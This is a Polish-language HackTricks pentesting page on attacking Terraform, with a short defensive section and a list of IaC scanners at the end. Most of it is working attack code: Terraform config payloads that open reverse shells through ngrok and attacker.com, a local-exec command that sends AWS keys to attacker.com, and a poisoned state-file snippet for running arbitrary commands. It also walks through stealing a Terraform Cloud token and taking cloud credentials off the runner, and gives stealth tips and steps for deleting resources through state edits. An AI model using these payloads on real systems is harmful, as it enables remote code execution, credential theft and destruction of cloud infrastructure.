Terraform Bezpieczeństwo

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Podstawowe informacje

Z dokumentacji:

HashiCorp Terraform to narzędzie infrastructure as code, które pozwala zdefiniować zarówno zasoby w chmurze, jak i on‑prem w czytelnych dla człowieka plikach konfiguracyjnych, które możesz wersjonować, ponownie wykorzystywać i udostępniać. Następnie możesz użyć spójnego workflow do wdrażania i zarządzania całą infrastrukturą przez cały jej cykl życia. Terraform może zarządzać niskopoziomowymi komponentami, takimi jak zasoby obliczeniowe, pamięci i sieciowe, jak również wysokopoziomowymi komponentami, takimi jak wpisy DNS i funkcje SaaS.

Jak działa Terraform?

Terraform tworzy i zarządza zasobami na platformach chmurowych oraz innych usługach poprzez ich interfejsy programistyczne (APIs). Providery umożliwiają Terraformowi pracę praktycznie z dowolną platformą lub usługą posiadającą dostępne API.

HashiCorp i społeczność Terraformu napisały już ponad 1700 providerów do zarządzania tysiącami różnych typów zasobów i usług, a ta liczba wciąż rośnie. Wszystkie publicznie dostępne providery znajdziesz w Terraform Registry, w tym Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog i wiele innych.

Podstawowy workflow Terraform składa się z trzech etapów:

  • Write: Definiujesz zasoby, które mogą obejmować wiele dostawców chmurowych i usług. Na przykład możesz utworzyć konfigurację do wdrożenia aplikacji na maszynach wirtualnych w Virtual Private Cloud (VPC) z security groups i load balancerem.
  • Plan: Terraform tworzy execution plan opisujący infrastrukturę, którą utworzy, zaktualizuje lub usunie na podstawie istniejącej infrastruktury i Twojej konfiguracji.
  • Apply: Po zatwierdzeniu Terraform wykonuje proponowane operacje w odpowiedniej kolejności, respektując zależności między zasobami. Na przykład, jeśli zaktualizujesz właściwości VPC i zmienisz liczbę maszyn wirtualnych w tym VPC, Terraform odtworzy VPC przed skalowaniem maszyn wirtualnych.

Laboratorium Terraform

Po prostu zainstaluj terraform na swoim komputerze.

Tutaj masz przewodnik i tutaj masz najlepszy sposób na pobranie terraform.

RCE in Terraform: config file poisoning

Terraform nie udostępnia platformy z stroną WWW ani usługą sieciową, którą można by enumerować, dlatego jedynym sposobem na przejęcie terraform jest możliwość dodawania/modyfikowania plików konfiguracyjnych terraform lub możliwość modyfikacji pliku stanu terraform (zobacz rozdział poniżej).

Jednak terraform to bardzo wrażliwy komponent do skompromitowania, ponieważ będzie miał uprzywilejowany dostęp do różnych lokalizacji, aby mógł prawidłowo działać.

Głównym sposobem dla atakującego na przejęcie systemu, na którym działa terraform, jest skompromitowanie repozytorium przechowującego konfiguracje terraform, ponieważ w pewnym momencie zostaną one zinterpretowane.

W rzeczywistości istnieją rozwiązania, które wykonują terraform plan/apply automatycznie po utworzeniu PR, takie jak Atlantis:

Atlantis Security

Jeśli uda Ci się skompromitować plik terraform, istnieją różne sposoby na wykonanie RCE, gdy ktoś uruchomi terraform plan lub terraform apply.

Terraform plan

Terraform plan to najczęściej używane polecenie w terraform i deweloperzy/rozwiązania korzystające z terraform uruchamiają je cały czas, więc najprostszy sposób na uzyskanie RCE to upewnić się, że zatrujesz plik konfiguracyjny terraform, który wykona dowolne polecenia podczas terraform plan.

Użycie providera external

Terraform oferuje external provider, który zapewnia sposób interakcji między Terraformem a zewnętrznymi programami. Możesz użyć źródła danych external, aby uruchomić dowolny kod podczas plan.

Wstrzyknięcie do pliku konfiguracyjnego terraform czegoś takiego spowoduje wykonanie rev shell podczas uruchamiania terraform plan:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Użycie niestandardowego providera

Atakujący mógłby przesłać custom provider do Terraform Registry i następnie dodać go do kodu Terraform w feature branchu (example from here):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

Provider jest pobierany podczas init i uruchomi złośliwy kod, gdy zostanie wykonany plan

Przykład znajdziesz w https://github.com/rung/terraform-provider-cmdexec

Użycie zewnętrznego odwołania

Obie wymienione opcje są przydatne, ale niezbyt dyskretne (druga jest bardziej dyskretna, lecz bardziej skomplikowana niż pierwsza). Możesz przeprowadzić ten atak w jeszcze bardziej dyskretny sposób, stosując się do poniższych sugestii:

  • Zamiast dodawać rev shell bezpośrednio do pliku terraform, możesz załadować zewnętrzny zasób, który zawiera rev shell:
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

You can find the rev shell code in https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • W zewnętrznym zasobie użyj funkcji ref aby ukryć terraform rev shell code in a branch w repozytorium, na przykład: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

Terraform apply zostanie wykonany, aby zastosować wszystkie zmiany; możesz też nadużyć go, aby uzyskać RCE, wstrzykując złośliwy plik Terraform z local-exec.
Musisz tylko upewnić się, że jakiś payload podobny do poniższych znajduje się w pliku main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Postępuj zgodnie z sugestiami z poprzedniej techniki, aby przeprowadzić ten atak w bardziej dyskretny sposób, używając zewnętrznych odwołań.

Secrets Dumps

Możesz spowodować, że secret values used by terraform dumped uruchamiając terraform apply przez dodanie do pliku terraform czegoś takiego:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Wykorzystywanie plików stanu Terraform

W przypadku gdy masz prawa zapisu do plików stanu terraform, ale nie możesz zmieniać kodu terraform, this research przedstawia kilka interesujących opcji wykorzystania takiego pliku. Nawet jeśli miałbyś prawa zapisu do plików konfiguracyjnych, użycie wektora plików stanu jest często znacznie bardziej podstępne, ponieważ nie zostawiasz śladów w historii git.

RCE in Terraform: config file poisoning

Możliwe jest create a custom provider i po prostu zastąpić jednego z providerów w pliku stanu terraform złośliwym albo dodać fałszywy resource odwołujący się do złośliwego providera.

Provider statefile-rce opiera się na tym badaniu i uzbraja tę zasadę. Możesz dodać fałszywy resource i umieścić dowolne polecenie bash, które chcesz wykonać, w atrybucie command. Gdy uruchomione zostanie terraform, polecenie to zostanie odczytane i wykonane zarówno w krokach terraform plan, jak i terraform apply. W przypadku kroku terraform apply, terraform usunie fałszywy resource z pliku stanu po wykonaniu twojego polecenia, sprzątając po sobie. Więcej informacji i pełne demo można znaleźć w GitHub repository hosting the source code for this provider.

Aby użyć tego bezpośrednio, po prostu dołącz poniższy fragment w dowolnym miejscu tablicy resources i dostosuj atrybuty name oraz command:

{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}

Then, as soon as terraform gets executed, your code will run.

Usuwanie zasobów

Istnieją 2 sposoby na usunięcie zasobów:

  1. Wstaw do pliku stanu zasób o losowej nazwie wskazujący na rzeczywisty zasób do usunięcia

Ponieważ terraform zobaczy, że zasób nie powinien istnieć, zniszczy go (używając wskazanego rzeczywistego ID zasobu). Przykład z poprzedniej strony:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. Zmień zasób tak, aby został usunięty w sposób uniemożliwiający jego aktualizację (czyli zostanie usunięty i odtworzony)

Dla instancji EC2 zmiana typu instancji wystarczy, aby terraform usunął i odtworzył ją.

Zastąp zablokowany provider

Jeśli napotkasz sytuację, w której hashicorp/external został zablokowany, możesz ponownie zaimplementować provider external, wykonując poniższe kroki. Uwaga: używamy forka providera external opublikowanego pod adresem https://registry.terraform.io/providers/nazarewk/external/latest. Możesz też opublikować własny fork lub ponowną implementację.

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

Następnie możesz użyć external jak zwykle.

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Terraform Cloud speculative plan RCE and credential exfiltration

Ten scenariusz nadużywa Terraform Cloud (TFC) runners podczas speculative plans, aby pivot into the target cloud account.

  • Warunki wstępne:

  • Ukradnij token Terraform Cloud z maszyny dewelopera. CLI przechowuje tokeny w postaci zwykłego tekstu w ~/.terraform.d/credentials.tfrc.json.

  • Token musi mieć dostęp do docelowej organization/workspace i co najmniej uprawnienie plan. VCS-backed workspaces blokują apply z CLI, ale nadal pozwalają na speculative plans.

  • Odkryj workspace i ustawienia VCS za pomocą TFC API:

export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
  • Wywołaj wykonanie kodu podczas speculative plan, używając external data source oraz Terraform Cloud “cloud” block, aby zaatakować VCS-backed workspace:
terraform {
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
}

data "external" "exec" {
program = ["bash", "./rsync.sh"]
}

Przykładowy rsync.sh, aby uzyskać reverse shell na TFC runner:

#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'

Uruchom spekulatywny plan, aby wykonać program na ephemeral runner:

terraform init
terraform plan
  • Wypisz i wyeksfiltruj wstrzyknięte poświadczenia chmurowe z runnera. Podczas uruchomień TFC wstrzykuje poświadczenia providerów poprzez pliki i zmienne środowiskowe:
env | grep -i gcp || true
env | grep -i aws || true

Oczekiwane pliki w katalogu roboczym runnera:

  • GCP:

  • tfc-google-application-credentials (Workload Identity Federation JSON config)

  • tfc-gcp-token (krótkotrwały GCP access token)

  • AWS:

  • tfc-aws-shared-config (web identity/OIDC role assumption config)

  • tfc-aws-token (krótkotrwały token; niektóre organizacje mogą używać statycznych kluczy)

  • Użyj krótkotrwałych poświadczeń poza kanałem, aby obejść zabezpieczenia VCS:

GCP (gcloud):

export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
gcloud config set project <PROJECT_ID>

AWS (AWS CLI):

export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity

Dzięki tym poświadczeniom atakujący mogą tworzyć/modyfikować/usuwać zasoby bezpośrednio za pomocą natywnych CLI, omijając przepływy pracy oparte na PR, które blokują apply przez VCS.

  • Defensive guidance:
  • Stosuj zasadę najmniejszych uprawnień wobec użytkowników/zespołów i tokenów TFC. Audytuj członkostwa i unikaj nadmiernie szerokich uprawnień właścicieli.
  • Ogranicz uprawnienie plan w wrażliwych workspaces opartych na VCS tam, gdzie to możliwe.
  • Wymuś listy dozwolonych providerów/źródeł danych za pomocą polityk Sentinel, aby zablokować data "external" lub nieznanych providerów. Zobacz wytyczne HashiCorp dotyczące filtrowania providerów.
  • Preferuj OIDC/WIF zamiast statycznych poświadczeń chmurowych; traktuj runners jako zasoby wrażliwe. Monitoruj spekulacyjne uruchomienia planów i nieoczekiwany egress.
  • Wykrywaj eksfiltrację artefaktów poświadczeń tfc-* i generuj alerty przy podejrzanym użyciu programu external podczas planów.

Kompromitacja Terraform Cloud

Użycie tokena

As explained in this post, terraform CLI stores tokens in plaintext at ~/.terraform.d/credentials.tfrc.json. Ukradzenie tego tokena pozwala atakującemu podszyć się pod użytkownika w zakresie uprawnień tokena.

Używając tego tokena, można uzyskać org/workspace za pomocą:

GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
Authorization: Bearer <TF_TOKEN>

Wówczas możliwe jest uruchomienie dowolnego kodu za pomocą terraform plan, jak wyjaśniono w poprzednim rozdziale.

Ucieczka do chmury

Jeżeli runner znajduje się w środowisku chmurowym, można uzyskać token podmiotu przypisanego do runnera i wykorzystać go poza tym środowiskiem.

  • Pliki GCP (obecne w katalogu roboczym bieżącego uruchomienia)

  • tfc-google-application-credentials — konfiguracja JSON dla Workload Identity Federation (WIF), która mówi Google, jak wymienić zewnętrzną tożsamość.

  • tfc-gcp-token — krótkotrwały (≈1 godz.) token dostępu GCP, na który odwołuje się powyższy.

  • Pliki AWS

  • tfc-aws-shared-config — JSON dla web identity federation/OIDC role assumption (preferowane zamiast statycznych kluczy).

  • tfc-aws-token — krótkotrwały token, lub potencjalnie statyczne klucze IAM jeśli źle skonfigurowane.

Narzędzia automatycznego audytu

Snyk Infrastructure as Code (IaC)

Snyk oferuje kompleksowe rozwiązanie do skanowania Infrastructure as Code (IaC), które wykrywa podatności i błędy konfiguracji w Terraform, CloudFormation, Kubernetes i innych formatach IaC.

  • Funkcje:
  • Skanowanie w czasie rzeczywistym w celu wykrywania podatności i problemów ze zgodnością.
  • Integracja z systemami kontroli wersji (GitHub, GitLab, Bitbucket).
  • Automatyczne pull requesty z poprawkami.
  • Szczegółowe porady dotyczące naprawy.
  • Sign Up: Utwórz konto na Snyk.
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code

Checkov

Checkov to narzędzie do statycznej analizy kodu dla infrastruktury jako kodu (IaC) oraz narzędzie do analizy składu oprogramowania (SCA) dla obrazów i pakietów open source.

Skanuje infrastrukturę chmurową provisioned using Terraform, Terraform plan, Cloudformation, AWS SAM, Kubernetes, Helm charts, Kustomize, Dockerfile, Serverless, Bicep, OpenAPI, ARM Templates, or OpenTofu i wykrywa problemy z bezpieczeństwem oraz niezgodności z wymaganiami compliance za pomocą skanowania opartego na grafie.

Wykonuje Software Composition Analysis (SCA) scanning, które jest skanem pakietów open source i obrazów w poszukiwaniu Common Vulnerabilities and Exposures (CVEs).

pip install checkov
checkov -d /path/to/folder

terraform-compliance

Z docs: terraform-compliance to lekki framework testowy skoncentrowany na bezpieczeństwie i zgodności dla terraform, umożliwiający przeprowadzanie testów negatywnych dla twojej infrastruktury jako kodu.

  • compliance: Zapewnia, że zaimplementowany kod przestrzega standardów bezpieczeństwa oraz twoich własnych, niestandardowych standardów
  • behaviour driven development: Mamy BDD prawie do wszystkiego, dlaczego nie dla IaC?
  • portable: wystarczy zainstalować z pip lub uruchomić przez docker. Zobacz Installation
  • pre-deploy: waliduje twój kod przed jego wdrożeniem
  • easy to integrate: może uruchamiać się w twoim pipeline (lub w git hooks), aby upewnić się, że wszystkie wdrożenia są walidowane.
  • segregation of duty: możesz przechowywać swoje testy w innym repozytorium, za które odpowiada odrębny zespół.

Note

Niestety, jeśli kod używa providerów, do których nie masz dostępu, nie będziesz w stanie wykonać terraform plan i uruchomić tego narzędzia.

pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder

tfsec

From the docs: tfsec uses static analysis of your terraform code to spot potential misconfigurations.

  • ☁️ Sprawdza błędy konfiguracji u wszystkich głównych (i niektórych mniejszych) dostawców chmury
  • ⛔ Setki wbudowanych reguł
  • 🪆 Skanuje moduły (lokalne i zdalne)
  • ➕ Oceni wyrażenia HCL oraz wartości literalne
  • ↪️ Oceni funkcje Terraform, np. concat()
  • 🔗 Oceni zależności między zasobami Terraform
  • 🧰 Kompatybilny z Terraform CDK
  • 🙅 Stosuje (i rozszerza) zdefiniowane przez użytkownika polityki Rego
  • 📃 Obsługuje wiele formatów wyjściowych: lovely (domyślny), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
  • 🛠️ Konfigurowalny (poprzez flagi CLI i/lub plik konfiguracyjny)
  • ⚡ Bardzo szybki — potrafi skanować ogromne repozytoria w krótkim czasie
brew install tfsec
tfsec /path/to/folder

terrascan

Terrascan to statyczny analizator kodu dla Infrastructure as Code. Terrascan umożliwia:

  • Bezproblemowe skanowanie Infrastructure as Code pod kątem nieprawidłowych konfiguracji.
  • Monitorowanie udostępnionej infrastruktury w chmurze pod kątem zmian konfiguracji wprowadzających odchylenia stanu zabezpieczeń (posture drift) oraz umożliwienie przywrócenia bezpiecznego stanu.
  • Wykrywanie podatności i naruszeń zgodności.
  • Redukcję ryzyka przed wdrożeniem natywnej infrastruktury w chmurze.
  • Oferuje elastyczność uruchamiania lokalnie lub integracji z CI\CD.
brew install terrascan
terrascan scan -d /path/to/folder

KICKS

Znajdź luki w zabezpieczeniach, problemy ze zgodnością i nieprawidłowe konfiguracje infrastruktury na wczesnym etapie cyklu rozwoju infrastruktury jako kodu za pomocą KICS od Checkmarx.

KICS oznacza Keeping Infrastructure as Code Secure, jest open source i jest niezbędny dla każdego projektu cloud native.

docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"

Terrascan

Z docs: Terrascan to statyczny analizator kodu dla Infrastructure as Code. Terrascan pozwala na:

  • Bezproblemowe skanowanie Infrastructure as Code w poszukiwaniu nieprawidłowych konfiguracji.
  • Monitorowanie provisioned cloud infrastructure pod kątem zmian konfiguracji powodujących posture drift oraz możliwość przywrócenia bezpiecznego stanu.
  • Wykrywanie podatności bezpieczeństwa i naruszeń zgodności.
  • Łagodzenie ryzyka przed provisioning cloud native infrastructure.
  • Zapewnia elastyczność uruchamiania lokalnie lub integracji z CI\CD.
brew install terrascan

Źródła

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks